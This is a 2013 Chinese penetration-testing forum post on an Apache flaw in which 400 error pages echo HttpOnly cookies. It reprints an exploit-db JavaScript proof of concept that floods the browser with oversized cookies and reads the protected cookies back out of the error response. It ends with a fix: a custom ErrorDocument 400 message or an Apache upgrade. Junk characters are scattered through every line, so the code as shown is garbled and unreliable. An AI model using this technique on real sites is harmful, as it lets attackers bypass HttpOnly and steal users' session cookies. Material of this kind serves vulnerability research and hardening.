中国网络渗透测试联盟

标题: Apache HttpOnly Cookie XSS跨站漏洞 [打印本页]

作者: admin    时间: 2013-4-19 19:15
标题: Apache HttpOnly Cookie XSS跨站漏洞
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。7 n$ |4 T) a1 R/ u2 L1 z

' E( W- Y+ E6 X* z用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
7 R8 i- p4 F3 p/ K; s" J1 T1 [ ' R9 k" V1 l3 B! z
: ~# Z- ^2 p2 o9 ~, c% n
// http://www.exploit-db.com/exploits/18442/1 ~* {! B  t. [/ d1 Z) X$ }
function setCookies (good) {
* l3 e7 K6 H. k+ @  B( b- E4 a, d// Construct string for cookie value
) }% {# B' \6 P: c) lvar str = "";% N7 B5 Q- R5 P7 x3 z3 g' \
for (var i=0; i< 819; i++) {, h0 O. o2 e" i  r
str += "x";
* M, K" h, {+ D' p! t}2 |1 T$ j1 C* x7 w* m
// Set cookies
% D9 F- O; e* ?: _8 H% cfor (i = 0; i < 10; i++) {8 f1 F4 T0 @" K1 T$ v: @
// Expire evil cookie! ~* i  v2 L* g! o( o0 v+ d
if (good) {
* |( G9 @1 O$ avar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
" _0 P; W; @2 n6 ]& D* z8 f}- X1 e) U. c8 J( y( }# }9 v
// Set evil cookie
4 u5 F+ o9 O0 |else {
' q1 J' e, A3 I" a5 g9 `var cookie = "xss"+i+"="+str+";path=/";
  M! h( g! m, k- v}
! e5 V1 Q2 R$ L7 ~6 p" ]# Cdocument.cookie = cookie;. N" w5 _) t7 U) r! [/ E
}8 z2 t* }6 @% Q: {
}6 [1 m  }% {* [2 A# \
function makeRequest() {
" |& O2 _7 m* O+ }/ lsetCookies();' @2 v" _- ?0 U6 I
function parseCookies () {
6 w) E; P& ]6 Q7 a9 e4 {/ t, _, ivar cookie_dict = {};4 y, w5 h9 z# n# _6 Y
// Only react on 400 status& d: [! k' e2 j- f5 j% _# t) ^
if (xhr.readyState === 4 && xhr.status === 400) {
, E! {- v9 n; I1 d// Replace newlines and match <pre> content
- u, U, K$ K5 _1 jvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
: @+ f2 l6 r: M* Xif (content.length) {. |) t$ l9 [; B# e7 f+ M; [7 Q
// Remove Cookie: prefix5 w- S- \7 `+ g% L% Z5 F3 r1 ~' J2 Y
content = content[1].replace("Cookie: ", "");6 D1 g% T- _0 u5 }- ^
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);1 H/ N" ^2 D& z- X; ?% i2 K
// Add cookies to object
3 Z* b$ B. M8 x1 {4 Nfor (var i=0; i<cookies.length; i++) {
7 |; E0 Q2 F/ I! C" ?! i: N2 ^+ \var s_c = cookies.split('=',2);2 A! x& j- J3 X4 O2 l, B
cookie_dict[s_c[0]] = s_c[1];. H, X3 _: I! I) S, `3 i- T
}) Z2 t  |; f) M, l4 Q
}; D$ C/ T( }3 ^! O1 y
// Unset malicious cookies
( u( k& B3 u* ^5 O' esetCookies(true);
$ M5 R' d& w% k, v5 @5 [! N# I4 Halert(JSON.stringify(cookie_dict));2 a6 r- S, m) L4 b) p7 U+ R! f% G/ ~
}0 G+ ]4 g4 F7 S" }% y' `
}$ c- _! U! `6 H
// Make XHR request2 M+ t" N+ p: `1 ~) @
var xhr = new XMLHttpRequest();
/ @8 }  ]; O9 r6 V9 N5 Nxhr.onreadystatechange = parseCookies;2 i: a* m1 i6 h" u) d
xhr.open("GET", "/", true);
" u3 T4 A; p) bxhr.send(null);
/ j0 q* F2 H3 d, ~}
6 C6 R0 M$ P2 b6 AmakeRequest();* W" i- n" L) r1 q* o
6 s3 e0 ^/ d: {; t, i
你就能看见华丽丽的400错误包含着cookie信息。" [; Q; [  u" @7 [5 i

: f9 A1 I. O8 S2 @$ p* n6 f下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
  A5 y( U. z6 }3 G' X0 x
/ F$ w/ T' D0 h6 k4 s: d+ H" s- z修复方案:
' }& R7 C3 b$ k* J) \' N/ j6 f* s5 H& |) r% U: J1 R" O) H  \* z
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下; m2 |. i5 f: P

( q6 R& \' h4 u9 p7 K0 S0 F* KIn the event of a problem or error, Apachecan be configured to do one of four things,
. \3 x4 {( ^; f% q# P# F! B5 g9 a! K! j% _9 Q0 p6 L
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息8 ^- h, ~+ D' l4 O% B8 K
2. output acustomized message输出一段信息
. |% `" S- t# y; ^% F3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 * u6 i7 n+ B6 M
4. redirect to an external URL to handle theproblem/error转向一个外部URL
1 L5 T3 h) w: N- ?$ B: Q1 c1 q6 Z
* Q$ H  m% A# g# \7 Z* H/ l4 ^经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容# `4 p+ U, P7 u7 m% g6 f
  [& x2 C# f. A/ x
Apache配置:
, w/ R& l% B1 G/ n! v. Y$ n/ b, w4 t4 b: y1 f/ V1 |9 H) H- o+ N
ErrorDocument400 " security test"
* @2 n( ?1 k& s, J; ]4 I6 q8 r( W! _: s7 g! j: M. r
当然,升级apache到最新也可:)。
# ~3 _3 \- O  ~3 t4 H9 _1 u: N7 ~8 B6 U3 q
参考:http://httpd.apache.org/security/vulnerabilities_22.html
* D1 M7 ]! i* j' N+ `% o2 J; C/ v, L$ ?' d. {  P, c7 I+ ]. {- s4 ~





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2